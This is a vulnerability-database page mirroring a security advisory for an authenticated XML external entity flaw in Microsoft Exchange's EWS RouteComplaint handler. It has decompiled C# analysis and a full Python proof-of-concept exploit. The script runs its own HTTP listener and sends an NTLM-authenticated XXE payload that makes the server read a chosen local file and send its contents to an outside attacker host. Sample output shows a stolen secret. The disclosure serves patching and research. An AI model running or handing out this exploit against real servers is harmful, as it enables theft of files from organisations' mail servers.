Lucene search
K

SRC-2020-0031 : Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability

🗓️ 23 Apr 2020 00:00:00Reported by Steven Seeley (mr_me) of Qihoo 360 Vulcan Team and Chris AnastasioType 
srcincite
 srcincite
🔗 srcincite.io👁 32 Views

Microsoft Exchange Server EWS RouteComplaint XML Entity Processing Vulnerability Disclosur

Related
Code
#!/usr/bin/env python3
"""
Microsoft Exchange Server EWS RouteComplaint ParseComplaintData XML External Entity Processing Information Disclosure Vulnerability
Advisory: https://srcincite.io/advisories/src-2020-0031/
Patched in: https://portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17141

## Summary

This vulnerability allows remote attackers to disclose information on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of a RouteComplaint SOAP request to the EWS service endpoint. The issue results from the lack of proper validation of a user-supplied xml. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM.

## Vulnerability Analysis

Inside of the `Microsoft.Exchange.Services.dll` we can see the following class:

```c#
namespace Microsoft.Exchange.Services.Core
{
    internal sealed class RouteComplaint : SingleStepServiceCommand{

        //...

        internal override ServiceResultExecute()
        {
            if (base.CallContext.EffectiveCaller == null)
            {
                throw new ArgumentNullException("this.CallContext.EffectiveCaller", "EffectiveCaller must not be null.");
            }
            this.abuseReportResults = null;
            IAbuseReportContext abuseReportContext = this.ParseComplaintData();  // 1
            IMailboxSession imailboxSessionBySmtpAddress = base.CallContext.SessionCache.GetIMailboxSessionBySmtpAddress(base.CallContext.EffectiveCaller.PrimarySmtpAddress, false);
            IWasclContext wasclContext = new WasclContext(ProtocolClientType.XMRAR, null, null, string.Empty, "");
            imailboxSessionBySmtpAddress.WasclContext = wasclContext;
            this.abuseReportResults = WasclWrapper.ProcessAbuseReport(abuseReportContext, imailboxSessionBySmtpAddress);
            return new ServiceResult(new RouteComplaintResponseMessage(ServiceResultCode.Success, null, this.EncodeComplaintDataForResponse()), ServiceResultCode.Success);
        }

        // ...

        private IAbuseReportContext ParseComplaintData()
        {
            if (base.Request.Data == null)
            {
                ExTraceGlobals.GetEventsCallTracer.TraceDebug((long)this.GetHashCode(), "RouteComplaint.Execute - RouteComplaintRequest data is null");
                throw new ArgumentNullException("this.complaintData", "ComplaintData must not be null in order to process the abuse report.");
            }
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.LoadXml(Encoding.UTF8.GetString(base.Request.Data));  // 2
            XmlNode data = xmlDocument.SelectSingleNode("complaintData");
```

At *[1]* we can see the `RouteComplaint.ParseComplaintData` method is called from the `Execute` method and at *[2]* the code uses attacker supplied data in a `LoadXml` to trigger entity processing.

## Proof of Concept

Change anything within the [] brackets.

```
POST /ews/Exchange.asmx HTTP/1.1
Host: [target]
Content-type: text/xml; charset=utf-8
Authentication: [ntlm auth]
Content-Length: [length][base64 encoded XXE payload]```

## Example

```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"

researcher@incite:~$ ./poc.py 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 "C:/Users/harryh/secrets.txt"
(+) triggered xxe in exchange!
(+) stolen: /leaked?<![CDATA[omgthisisasecret0day]]>
```
"""

import re
import sys
import urllib3
import requests
import urllib.parse
from threading import Thread
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler, HTTPServer
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class xxe(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def _set_response(self, d):
        self.send_response(200)
        self.send_header('Content-type', 'application/xml')
        self.send_header('Content-Length', len(d))
        self.end_headers()
    def do_GET(self):
        if "leaked" in self.path:
            print("(+) stolen: %s" % urllib.parse.unquote(self.path))
            message = "<![CDATA[ <![ INCLUDE[]]> ]]>"
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))
        elif "poc.dtd" in self.path:
            print("(+) triggered xxe in exchange!")
            message = """
<!ENTITY %% payload "%%start;%%stuff;%%end;">
<!ENTITY %% param1 '<!ENTITY % external SYSTEM "http://%s:%d/leaked?%%payload;">'>
%%param1; %%external;""" % (host, int(port))
            self._set_response(message)
            self.wfile.write(message.encode('utf-8'))
            self.wfile.write('\n'.encode('utf-8'))

def main(t, usr, pwd):
    server = HTTPServer(('0.0.0.0', int(port)), xxe)
    handlerthr = Thread(target=server.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    username = usr.split("@")[0]
    domain = usr.split("@")[1]
    h = {"Content-type" : "text/xml; charset=utf-8"}
    xxe_payload = """<!ENTITY %% stuff SYSTEM "file:///%s">
<!ENTITY %% end "]]>">
<!ENTITY %% dtd SYSTEM "http://%s:%d/poc.dtd">
%%dtd;
]>""" % (file, host, int(port))
    d = """%s""" % b64encode(xxe_payload.encode()).decode("utf-8") 
    requests.post("https://%s/ews/Exchange.asmx" % t, data=d, headers=h, verify=False, auth=HttpNtlmAuth('%s\\%s' % (domain,username), pwd))
    
if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.75.142 [email protected]:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
        sys.exit(-1)
    trgt = sys.argv[1]
    assert ":" in sys.argv[2], "(-) you need a user and password!"
    usr = sys.argv[2].split(":")[0]
    pwd = sys.argv[2].split(":")[1]
    host = sys.argv[3]
    port = 9090
    file = sys.argv[4]
    if ":" in sys.argv[3]: 
        host = sys.argv[3].split(":")[0]
        port = sys.argv[3].split(":")[1]
        assert port.isdigit(), "(-) not a port number!"
    main(trgt, usr, pwd)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation